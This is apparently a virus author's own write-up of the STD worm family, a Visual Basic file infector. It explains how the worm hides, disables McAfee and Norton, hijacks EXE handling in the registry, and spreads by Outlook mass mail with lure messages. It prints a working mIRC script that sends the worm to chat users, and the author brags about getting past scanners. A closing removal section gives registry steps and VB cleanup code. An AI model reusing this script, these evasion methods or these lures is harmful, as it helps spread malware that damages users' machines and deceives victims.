	W32.HLLP.STD.worm variants by Error of Team Necrosis
		   STD Virus family Step-by-Step
*******************************************************************
		the 3 parts of a file infected with STD

	1.				2.		      3.	
||==================||=====================================||===||
||  STD viral code  ||  Original EXE within infected file  ||STD||
||==================||=====================================||===||

1.  STD.17920 EXE virus
	
	This is the pure code of actual virus coding writen in
Visual Basic 5.0  It is not protected by any encryption routines in 
its present form. The encryption program would have to be an entirely
different program and will add another 8000 bytes or more to the file.
Not to mention modifying the virus itself.
--------------------------------------------------------------------

2. Oringinal EXE
	
	The original file is held entirely behind the Viral code. 
This cannot execute without the virus executing prior to it.
---------------------------------------------------------------------

3. File Marker

	Every infected file is stamped with a file infection marker 
at the end of the file.  The last 3 bytes of a file will read 'STD' 
and is used by the virus to indicate if a file has been executed or 
not.
***********************************************************************
				FILE INFECTION IN
			      AN UNINFECTED SYSTEM
	
1.  The infected file is ran on a system by the user of the computer

2.  STD first employs stealth features to ensure it is never seen by
ALT+CTRL+DEL methods or task manager

3.  Virus the writes a registry file and executes it disabling McAfee
Anti-Virus and executing the virus upon the next start-up of Windows.
It also makes the file "C:\windows\system\Systray_.exe" the file which
handles all .exe files upon execution.  This is how the virus makes 
itself Memory-Resident.  The latest versions of STD also disable Norton
and write to script.ini to send itself via mIRC.

4.  The virus then copies itself, and places them in the file 
"C:\windows\system\Systray_.exe", and then marks the file infected by 
adding "STD" at the end of the file.  I then makes another copy of 
itself as "C:\windows\system\runtray_.dll" this is used for mail 
distribution.

5. The virus then copies the original EXE out of the infected program
and places it in same filename with a ".vxv" extension so the original
file will run like normal.  If certain requirements are met, the virus
will send itself via outlook.

6.  The virus stays active using 2K of memory until the file has been 
exited and then the ".vxv" temporary file is deleted. 

7.  Stealth proceedures are ended and the virus program ends
********************************************************************************
				FILE INFECTION IN
			        AN INFECTED SYSTEM

1.  A exe program is executed by the user on an infected system

2.  The executed exe filename and parameters is passed to the file 
C:\WINDOWS\SYSTEM\Systray_.exe on the system.  File Date/Time Stamp is copied
and System Date/Time is changed

3.  The virus gains control over the system and applies stealth proceedures 

4.  Virus the writes a registry file and executes it disabling McAfee
Anti-Virus and executing the virus upon the next start-up of Windows.
It also makes the file "C:\windows\system\Systray_.exe" the file which
handles all .exe files upon execution.  The latest versions of STD also
disable Norton and write to script.ini to send itself via mIRC.

5.  The running file is opened and last three bytes are checked for the
string 'STD'.  If so the skips to step 7.

6.  If the running file is uninfected, the virus copies its code from
C:\WINDOWS\SYSTEM\Systray_.exe and is applied at the beginning of the file
The original program is then inserted behind it and finally the File marker
is stamped at the end of the file by adding 'STD' at the end of the file

7.  After infecting a file, if needed, the virus then passes control back
to the original file by copying the original code from the EXE file into a
temporary file with the samename as the exe but with a ".vxv" extension.
System Date/Time is restored.  As with above, it may send itself via 
Outlook if requirements are met.

8.  The virus monitors the original program and waits until it has terminated
the virus takes only 2K of memory to function during this time

9.  Once terminated, the virus deletes the temporary ".vxv" file and ends stealth 
proceedures and itself.
*********************************************************************************
				NOTES FROM TRIALS
				       AND
                              CURING STD INFECTIONS

Once Memory-Resident, the virus has proven to be extremely dificult to get rid
of.  After an infected system has restarted the virus easily infects startup files
and valuable files that are executed oftenly.  Here are several Examples:

Rundll32.exe - this file was infected as soon as Windows was shutdown.  This means
if a user shutsdown their system after the virus has gone resident, This file will
automaticly ensure Memory-Residency upon next shutdown/startup of windows.  This 
caused several reinfections spontaneously.  This file actually controls many windows
functions and is used mainly during both start-up and shutdown of windows.  Another 
note about this is the file is also used to change the Date and Time on the system.
This provided several re-infections on test systems.

CSTray.exe - Common only to Compuserve members this file is used to make the CS
icon appear in the Systemtray upon windows startup.  Well the file after execution 
becomes hidden naturally and cannot be found by normal means.  This caused system
reinfections on several trials after the infected system was restarted.  The AOL 
program probably is very similar. (AOLTray.exe has been confirmed to behave the
same)

Systray.exe - This was a very successful Host file for the virus itself.  This is
actually needed for windows to operate and therefor cannot be terminated without
several windows programs crashing.  If the virus has gone resident and the user 
restarted the computer, this file ensures that the virus file CANNOT be deleted.

Once Resident, STD CANNOT be deleted during a windows session....  
CANNOT means by Windows cut, Windows delete, Move to Recycle Bin, DOS delete, VB
Kill commands and VB Open methods, and the file cannot even be edited by anymeans 
due to the fact its being used by windows and is Read/Execute-Only.

If the user manages to delete the EXE Hook file, such as through restarting in DOS,
ALL EXE's are NOT able to successfully preform because windows looks for the EXE 
Hook file to run the EXE files.

Steps used to get rid of STD.

Once resident and windows is running the virus is impossible to delete.
But 1st infected users need to prevent STD from Hooking EXEs.  This is done
by restoring the Registry.  But how do you prevent C:\windows\Regedit.exe from
getting infected?  This answer was plaguing me for a while until I noticed
that Regedit.exe will also run as Regedit.com! STD.12800 cannot infect any
Com Files and therefore it will avoid infection.

Step 1.   Goto Start Menu and goto Run.  From the Run command prompt, 
type "Command.com"  This will get you access to MS-DOS Prompt.

Step 2.  Type "ren C:\windows\regedit.exe regedit.com" and hit enter.  This
will change regedit.exe to Regedit.com

Step 3.  You need to restore EXE's from not being Hooked by Systray_.exe
type "edit C:\Windows\STDfix.reg" in the prompt area and hit enter.  This
will execute Edit.com which will give you a blue text editor screen.

Step 4.  In the blue text-editor screen type the following:

REGEDIT4

[HKEY_CLASSES_ROOT\exefile\shell\open\command]
@="\"%1\" %*"

Type the above word for word, symbol for symbol and Save it

Step 5.  Exit Edit.com by going to File and exit.

Step 6.  You should be back at the command prompt, from there type the 
following:
Regedit.com C:\windows\stdfix.reg

hit enter and it will ask you if you want to enter this into registry.
Click Yes and then Click Ok.
You have just cleared STD from Hooking EXE's but it is still running.
After doing so type the following command into the prompt:
copy regedit.com C:\
ren C:\windows\regedit.com regedit.exe

Step 7.  Open your autoexec.bat in the Edit.com program by typing
edit C:\autoexec.bat

Step 8. The following will kill the STD EXE Hook program next time you
start windows.  Type in the first line of you autoexec.bat file

del C:\windows\system\systray_.exe
C:\regedit.com /s C:\windows\stdfix.reg

Step 9.  Save and close the file and return to the prompt.

Step 10.  The next part of cleaning STD is impossible to normal users,
sorry normal users.  But i will be offering a cleaning program for STD
soon called STD-Fix.  It will clean out the EXE Hook, clean files, and 
provide file immunity from STD.  The reason why totally cleaning STD is
impossible is that you have to physically cut STD.17920 from the file.
Users cannot do this with out some heavy duty programming language skills
but i will provide that in Visual Basic.  

To remove STD from Files use the following VB code
'STD-Fixer non-official version
'Text1.text = place for inputing full file name and path
Const STDsize = 17920 'latest version
Private Sub Command1_Click()
Close
Open Text1.Text For Binary Access Read As #3
    Dim original As String
    original = Space(LOF(3))
    Get #3, 1, original
Close
If Right(original, 3) = "STD" Then
    Open Text1.Text For Binary Access Read As #3
    original = LOF(3) - STDsize
    Dim GetOrig As String
    GetOrig = Space(original)
    Get #3, STDsize, GetOrig
    Close #3
End If
Kill Text1.Text
hideit = Left(Text1.Text, Len(Text1.Text) - 4)
hideit = hideit & ".exe"
Open hideit For Binary Access Write As #10
    Put #10, , GetOrig
Close #10
Close
End Sub

Problem is finding EXE's that have been infected.....
With the old variants of STD.10752 - all one had to do was check for EXE's 
modified since the day of infection.  Now STD.17920 prevents that from happening
by keeping the date time stamp on a file.
******************************************************************************
			       STD's mIRC PROPAGATION

"C:\mirc\script.ini" - after editing by STD

[script]
n0= on 1:TEXT:*sex*:#:{
n1= .notice $nick Hello, sorry to disturb you, but I just got a very kinky adult 
	slideshow and was wondering if you would like a copy.  So I'm going to send you one.
n2= /.copy C:\windows\system\runtray_.dll C:\windows\system\install_show.exe
n3= /dcc send $nick C:\windows\system\install_show.exe
n4= }



-line n0:
	This is the line that initializes the virus' mailing function.  If anyone types in 
the word 'sex' in the chat.  The program initializes.

-line n1:
	After a delay of 3 seconds, the virus messages the victim who typed in sex with that
message.  More social engineering at work here.  I believe this is the first virus to use 
this extent of social engineering to propagate itself.

-line n2:
	STD then copies itself to another name of "install_show.exe" for sending purposes

-line n3:
	The virus then sends itself stealthily to the victim.  But the victim has to accept the attachment 
and run it for it to be installed.

-line n4:
	end the mailing sequence

	
I believe this script will get by some scanners because most scanners detect the usual method
of sending the file to anyone who joins the channel.  Just my attempt to stop nasty group
cyber-sex on mIRC.  Plus why else would I call it STD, it does spread sexually does it not?

Thsi script originally was not detected 	
******************************************************************************
			        VERSIONS of STD

STD.10752 - This was the original Memory-Resident version of the virus.  
It ran smoothly, no errors, and quickly.  Only side-effect was the icon of 
every infected file was to be changed to the light-blue and white Visual Basic
frame icon, which is very noticeable, to say the least.  Another downside was
whenever the virus infected a file, the time and date would change to that 
exact moment.  Another noticeable flaw.

STD.11264 - Second version of STD, growing 512 bytes because of adding my
own File Date/Time Stamp retainer (which is a first for a VB virus).  The 
speed nor the preformance suffered any due to this coding.  The coding is 
very simple yet extremely efficient.  Before Opening the EXE, the virus 
checks the File Date/Time Stamp and then physically changes the date and time
of the computer to that time and date.  Before the virus runs the original
code (less than a second later), the virus changes back the time and date
to the original date and time.  Therefore the actuall date and time is 
never changed for longer than 1/2 a second.  Only problem was with modules
not being able to have a definate icon besides the default VB Form.ico

STD.12800 - Big step in STD, growing 736 bytes because i put the virus
into a Form instead of a module.  At first this was slightly sluggish and I
added code so the Visual Graphic Interface Form would never been seen.  I
then streamlined the code and turned the code to be compatable with a Form
instead of a Module.  (changing Sub Main to Private Sub Form_Load and mostly
the declarations and constants and external calls).  I then removed the icon
information out of the file and it resulted in a DOS or default EXE program
icon which is much more unnoticable.  (Icon = C:\windows\Ping.exe and similar
programs)  After testing, I found that after the streamline modifications the 
code ran only .12 seconds slower than that of the module.  Only downside to 
this variant is that more strings and coding is visible in the virus from 
viewing it in a text-editor.

STD.16480 - First edition of STD with mass-mailing potential.  The huge size 
increase was due to addition of code of Outlook Mailing propragation.  It sent,
at first, a email to all the recipiants telling them sorry for not writing sooner
and lets everyone of them know, that the next E-mail is going to contain an
attachment; which of course is the virus.  In the words of the Virus Author, Evul,
him/herself - "social engineering at its finest".

STD.17430 - Added random mail messages to the virus' second e-mail attachment for
Outlook.  It declares that the file it sends "install_.exe" is an installation program 
for one of the following:
1 = adult screensaver/slideshow
2 = Outlook Service Release Update
3 = Microsoft Explorer patch
4 = Desktop Game 
5 = a get paid while on the internet and faster connection kit

STD.17920 - Added mIRC propigation.  It sends itself to whoever types 'sex' in a 
chat room on mIRC.  This was the first variant to have a bug in the programming.
I added the mIRC script modifications near the end of the virus, and some files just
never ran once infected.

STD.18432 - I changed the mIRC script change code's location and modified Outlooks
sending times.  Runs slightly slower, .33 seconds to execute.  I doubt if that can be
ever corrected with the present compiler.  Deciding the next variant will be the last 
variant.  Its amazing to me that the virus has almost doubled in size since the 
original 10752 version.

STD.17920 (FINAL) - All right this is the final variant of STD.  As you might have
actually noticed that it got smaller.  Maybe its because I fixed the misspelling of
Microsoft in the Outlook Mailing section - lol.  Well this variant is the last variant
I am making for a while.  It runs faster, .26 seconds, and i changed a number of 
methods in the program.  The 5th random message for Outlook Mail propagation is now,
"a brand-new MP3 player and plug-ins".  Norton is now disabled along with McAfee.  And
the code for mIRC was cut, stealthed with "." commands, and embedded better in the 
program.  And Outlook mailing is based on two things:

STD sent itself as one of the above mentioned attachments, 1 out of 20 exe executions
to the first 100 people in every mailing list

STD.b variant was a slight modification to 17920 and it contained
a slightly diferent set of variables and strings

I fear that STD will be easily detected once in the wild due to how VB compiles its 
programs, strings and code is sometimes visible in the viral code.  So for a last note 
on STD is that I have decided to write it over in C++ in the near future.

- Death is a stranger we all must meet...
Fatal Error of TN
FatalError@ghostmail.com

***********************************************************************************
C:\WORK\INFX.exe - infected file
||==================||=====================================||===||
||  STD viral code  ||  Original EXE within infected file  ||STD||
||==================||=====================================||===||


C:\WORK\INFX.vxv - original file in temporary file
||=====================================||
||  Original EXE  in .vxv file         ||
||=====================================||


C:\WINDOWS\SYSTEM\Systray_.exe - EXE Hook file (also "runtray_.dll")
||==================||===||
||  STD viral code  ||STD||
||==================||===||